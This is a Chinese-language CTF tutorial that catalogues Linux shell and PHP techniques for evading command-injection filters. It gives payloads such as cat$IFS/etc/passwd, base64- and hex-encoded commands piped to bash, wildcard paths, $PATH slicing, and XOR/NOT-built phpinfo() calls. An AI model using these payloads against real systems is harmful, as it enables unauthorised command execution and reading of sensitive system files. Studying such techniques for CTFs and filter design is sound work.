【CTF】Linux Shell RCE绕过(bypass)技术总结
在Linux环境下,远程代码执行(RCE,Remote Code Execution)是一种常见的攻击手段。然而,许多系统会对命令注入进行过滤或限制,例如禁止特定关键字(如system
)、斜杠(/
)或空格等。为了绕过这些限制,攻击者开发了多种技术,利用Shell特性、编码方式和系统漏洞实现命令执行。本文将系统性地总结Linux Shell RCE的绕过方法。
一、空格绕过
原理
在Bash中,命令和参数之间通常需要用空格分隔。然而,当空格被过滤时,可以利用Bash的变量、特殊字符或编码来替代空格,从而绕过限制。这些替代方法本质上是利用了Shell的解析机制,将非空格字符转换为等效的分隔符。
方法与语法
-
使用
$IFS
(Internal Field Separator)$IFS
是Bash的内置变量,默认值为空格、制表符和换行符。可以用它替代空格。- 示例:
cat$IFS/etc/passwd
等价于cat /etc/passwd
。 - 变种:
${IFS}
:显式调用变量。$IFS$9
:结合位置参数$9
(通常为空),增加混淆性。
-
使用制表符或URL编码
%09
(Tab键的URL编码)和%20
(空格的URL编码)在某些场景下可被解析为分隔符。- 示例:
cat%09/etc/passwd
。
-
使用重定向符号
<
、>
和<>
可以用来构造命令,避免直接使用空格。- 示例:
cat</etc/passwd
。
-
使用大括号分隔
{}
是一种参数扩展语法,可以将命令和参数分隔开。- 示例:
{cat,/etc/passwd}
,Bash会将其解析为cat /etc/passwd
。
-
使用注释符号(类似SQL注入)
- 在某些WAF或过滤规则中,
/**/
可以用作分隔符。 - 示例:
cat/**//etc/passwd
。
- 在某些WAF或过滤规则中,
应用场景
空格绕过适用于Web应用或Shell脚本中对空格进行严格过滤的场景。例如,当输入被限制为单一字符串时,上述方法可以有效规避限制。
二、命令执行函数绕过
原理
在PHP等语言中,system()
是常见的命令执行函数。如果system()
被过滤,可以使用其他等效函数或操作符(如反引号)绕过。这些函数在底层调用系统Shell,功能类似。
方法与语法
-
替代函数
passthru()
:执行命令并输出结果。exec()
:执行命令并返回最后一行输出。shell_exec()
:执行命令并返回完整输出。popen()
:打开进程文件指针。proc_open()
:更灵活的进程控制函数。pcntl_exec()
:直接执行程序,适用于无Shell环境。- 示例:
passthru("whoami")
或shell_exec("cat /etc/passwd")
。
-
反引号(``)
- 在PHP中,反引号等价于
shell_exec()
。 - 示例:
`whoami`
。
- 在PHP中,反引号等价于
应用场景
当Web应用禁用system()
但未完全过滤其他命令执行函数时,这种方法非常有效。攻击者只需测试可用函数即可绕过。
三、命令连接符绕过
原理
命令连接符用于组合多个命令,改变执行逻辑。不同的连接符在成功或失败条件下的行为不同,可用于绕过过滤或构造复杂命令。
方法与语法
-
通用连接符(Windows和Linux均支持)
|
:管道符,仅执行右侧命令的结果。- 示例:
whoami | cat /etc/passwd
。
- 示例:
||
:逻辑或,前命令失败时执行后命令。- 示例:
false || whoami
。
- 示例:
&
:后台执行,前后命令均执行。- 示例:
whoami & ls
。
- 示例:
&&
:逻辑与,前命令成功时执行后命令。- 示例:
true && whoami
。
- 示例:
-
Linux特有连接符
;
:顺序执行,前后命令依次运行。- 示例:
whoami;cat /etc/passwd
。
- 示例:
应用场景
当系统限制单一命令输入时,连接符可用于拼接多条命令,绕过长度或内容限制。
四、严格过滤下的绕过
原理
当题目使用正则匹配某些字符时,常见的绕过手法时利用变量赋值、编码或拼接,将被过滤的关键字拆分为无害片段,最终在执行时还原为完整命令。
方法与语法
-
变量赋值
- 将命令拆分为变量,动态拼接。
- 示例:
a=c; b=a; c=t; $a$b$c /etc/passwd # 等价于 cat /etc/passwd
-
Base64编码
- 将命令编码为Base64,解码后执行。
- 示例:
echo 'cat /etc/passwd' | base64 # 输出:Y2F0IC9ldGMvcGFzc3dk echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
-
十六进制(Hex)编码
- 将命令转为Hex,解码后执行。
- 示例:
echo "636174202f6574632f706173737764" | xxd -r -p | bash # cat /etc/passwd
-
八进制(Octal)编码
- 使用八进制表示字符。
- 示例:
$(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144") # cat /etc/passwd
-
字符串拼接
- 将命令拆分为子字符串,用点号或引号拼接。
- 示例:
c''a''t /etc/passwd # 单引号拼接 c""a""t /etc/passwd # 双引号拼接 c``a``t /etc/passwd # 反引号拼接 c\a\t /etc/passwd # 反斜杠拼接
-
特殊变量
$*
、$@
、$1-$9
、${x}
(x>=10)在无参数时为空,可用于混淆。- 示例:
wh$1oami # whoami who$@ami # whoami ca${21}t a.txt # cat a.txt
-
插入注释
- 在命令中插入注释,绕过WAF规则。
- 示例:
system/*test*/("whoami")
应用场景
正则匹配绕过适用于关键字过滤严格的场景,例如WAF或IDS检测。
五、通配符绕过
原理
Bash支持通配符(如*
、?
)和Glob模式,用于匹配文件名或路径。当路径或命令被过滤时,通配符可模糊匹配目标。
方法与语法
-
基本通配符
?
:匹配单个字符。*
:匹配任意字符。- 示例:
??? /e??/?a????
匹配cat /etc/passwd
。
-
Glob模式
[a-z]
:匹配范围内的字符。{a,b,c}
:匹配指定模式。- 示例:
cat t[a-z]st # 匹配类似 test 的文件 cat t{a,b,c}st # 匹配 tast、tbst、tcst
应用场景
当路径被部分过滤时,通配符可用于模糊匹配敏感文件。
六、利用PATH变量绕过
原理
$PATH
是环境变量,包含系统命令的搜索路径。通过截取和拼接$PATH
中的字符,可以构造命令。
方法与语法
- 示例:
${PATH:5:1} # 输出 l ${PATH:2:1} # 输出 s ${PATH:5:1}${PATH:2:1} # 输出 ls
应用场景
当命令本身被禁用时,利用$PATH
拼接是一种隐蔽的绕过方式。
七、自增绕过
原理
在PHP中,字符串可以自增(如'a'++
变为'b'
)。通过构造初始字符并自增,可以生成任意字母。
方法与语法
- 示例:
$_ = "Array"; $_ = $_[0]; # A $__ = $_; $__++; # B # 依次自增拼接出所需命令
应用场景
适用于字符输入受限的PHP环境。
八、异或与取反绕过
原理
通过异或(^
)或取反(~
)运算,将命令转为不可读形式,绕过过滤。
方法与语法
-
异或
- 示例:
('GGGGGGG'^'7/7.)!(')(); # phpinfo()
- 示例:
-
取反
- 示例:
echo urlencode(~'phpinfo'); # %8F%97%8F%96%91%99%90 (~'%8F%97%8F%96%91%99%90')();
- 示例:
应用场景
当字母和数字被过滤时,异或和取反可生成不可打印字符,绕过检测。
总结
Linux Shell RCE绕过技术多种多样,从空格替代到编码转换,再到通配符和变量操作,每种方法都利用了Shell或语言的特性。攻击者需根据具体过滤规则灵活组合这些技术,而防御者则应加强输入验证和命令执行控制。本文提供的方法仅为技术探讨,切勿用于非法用途。